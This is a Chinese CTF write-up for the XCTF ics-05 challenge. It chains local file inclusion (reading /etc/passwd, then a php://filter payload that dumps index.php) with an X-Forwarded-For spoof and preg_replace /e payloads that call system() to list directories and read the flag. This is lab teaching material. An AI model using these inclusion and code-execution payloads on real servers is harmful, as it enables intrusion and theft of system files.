记一道preg_replace函数/e模式下的代码执行漏洞利用的题。

只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数。



拼接到url,页面显示index,拼接/etc/passwd。



那么存在文件包含漏洞无疑。通过这个漏洞我们可以结合php伪协议读取到index.php的内容。

  1. ?page=php://filter/read=convert.base64-encode/resource=index.php

base64解密拿到源码。

  1. <?php
  2. }}
  3. //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
  4. if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
  5. echo "<br >Welcome My Admin ! <br >";
  6. $pattern = $_GET[pat];
  7. $replacement = $_GET[rep];
  8. $subject = $_GET[sub];
  9. if (isset($pattern) && isset($replacement) && isset($subject)) {
  10. preg_replace($pattern, $replacement, $subject);
  11. }else{
  12. die();
  13. }
  14. }
  15. ?>

1、这里需要IP欺骗加一个x-forwarded-for:127.0.0.1。

2、需要存在三个Get参数pat,rep,sub。然后preg_replace函数进行正则匹配。

了解一下这个函数

  1. preg_replace 函数执行一个正则表达式的搜索和替换。
  2. 语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]]
  3. 参数:$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  4. $replacement: 用于替换的字符串或字符串数组。
  5. $subject: 要搜索替换的目标字符串或字符串数组。
  6. $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  7. $count: 可选,为替换执行的次数。

其实就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

再看/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码从而导致代码执行。

构造payload:

  1. /index.php?pat=/1/e&rep=system("ls");&sub=1
  2. /index.php?pat=/1/e&rep=system("ls+s3chahahaDir");&sub=1
  3. /index.php?pat=/1/e&rep=system("ls+s3chahahaDir/flag");&sub=1
  4. /index.php?pat=/1/e&rep=system("cat+s3chahahaDir/flag/flag.php");&sub=1

参考链接:

https://virtua11.github.io/2018/07/06/代码执行漏洞--preg_replace()/

XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)的更多相关文章

  1. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  2. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

  3. CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现

    北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...

  4. phpMyAdmin Transformation 任意文件包含/远程代码执行漏洞

    漏洞参考 https://yq.aliyun.com/articles/679633 国外提供了一个在线测试的靶场     默认密码  root  toor https://www.vsplate.c ...

  5. [2012-4-10]ThinkPHP框架被爆任意代码执行漏洞(preg_replace)

    昨日(2012.04.09)ThinkPHP框架被爆出了一个php代码任意执行漏洞,黑客只需提交一段特殊的URL就可以在网站上执行恶意代码. ThinkPHP作为国内使用比较广泛的老牌PHP MVC框 ...

  6. WebLogic 任意文件上传 远程代码执行漏洞 (CVE-2018-2894)------->>>任意文件上传检测POC

    前言: Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复: http://ww ...

  7. preg_replace函数/e 模式下的代码执行+一道例题

    目录 例一 例二 补充 看一道ctf题-----[BJDCTF2020]ZJCTF,不过如此 参考链接 例一 源码: <?php preg_replace('/(.*)/ei', 'strtol ...

  8. HDwiki文件上传导致远程代码执行漏洞

    漏洞版本: HDwiki(2011) 漏洞描述: 互动维客开源系统(HDwiki)作为中国第一家拥有自主知识产权的中文维基(Wiki)系统,由互动在线(北京)科技有限公司于2006 年11月28日正式 ...

  9. js函数绑定同时,如何保留代码执行环境?

    经常写js的程序员一定不会对下面这段代码感到陌生. var EventUtil = { addHandler : function(element, type, handler){ if(elemen ...

随机推荐

  1. nginx服务跳转

    1.什么是页面跳转 将URL信息做改变 将URI信息做改变 完成伪静态配置 2.实现页面跳转的方法 http://nginx.org/en/docs/http/ngx_http_rewrite_mod ...

  2. 微信小程序 添加左边固定浮动框

    view: <!-- 悬浮框 --> <view class="v-fixed-title1"> <view class="v-fixed- ...

  3. 可执行jar包在windows server2008下的自启动

    最近要部署项目的服务端在windows server2008下面,所以把项目打包成可执行的jar包,然后希望它能开机自启动,毕竟每次都在cmd下输入java -jar xxx.jar才能启动太繁琐了. ...

  4. 63. Unique Paths II 动态规划

    description: https://leetcode.com/problems/unique-paths/ 机器人从一堆方格的左上角走到右下角,只能往右或者往下走 ,问有几种走法,这个加了难度, ...

  5. Linux | Shell流程控制语句

    流程控制语句 简单的Shell 脚本还不能满足我们日常工作的需要要,因为他不能批量的帮我们完成工作,所以Shell引入了 if.for.while.case 4种流程控制语句来帮助我们完成工作. if ...

  6. 如何处理RabbitMQ 消息堆积和消息丢失问题

    消息堆积 解决方案: 增加消费者或后台相关组件的吞吐能力 增加消费的多线程处理 根据不同的业务实现不同的丢弃任务,选择不同的策略淘汰任务 默认情况下,RabbitMQ消费者为单线程串行消费,设置并行消 ...

  7. CF1539C Stable Groups[题解]

    Stable Groups 题目大意 给定 \(n\) 个数 \(a_i\) ,你可以将这些数分成若干组,但每一组的元素满足按升序排列后,相邻两个元素值的差不超过 \(x\) .在分组前,你可以向这些 ...

  8. IP地址与子网化分

    IP地址与子网掩码 一.IP地址的组成 二.IP地址的分类                            1)A.B.C三类地址的组成                            2 ...

  9. 「 题解」NOIP2021模拟赛(2021-07-19)

    小兔的话 欢迎大家在评论区留言哦~ D - 矩阵 简单题意 一个 \(i * i\) 的 \(01\) 矩阵,若满足 每一行 和 每一列 都满足 恰好 有 \(2\) 个位置是 \(1\) 时,称为 ...

  10. centos7 PostgreSQL_12.7安装-TimeScaleDB_2.01插件安装

    一.安装psql的yum源 sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64 ...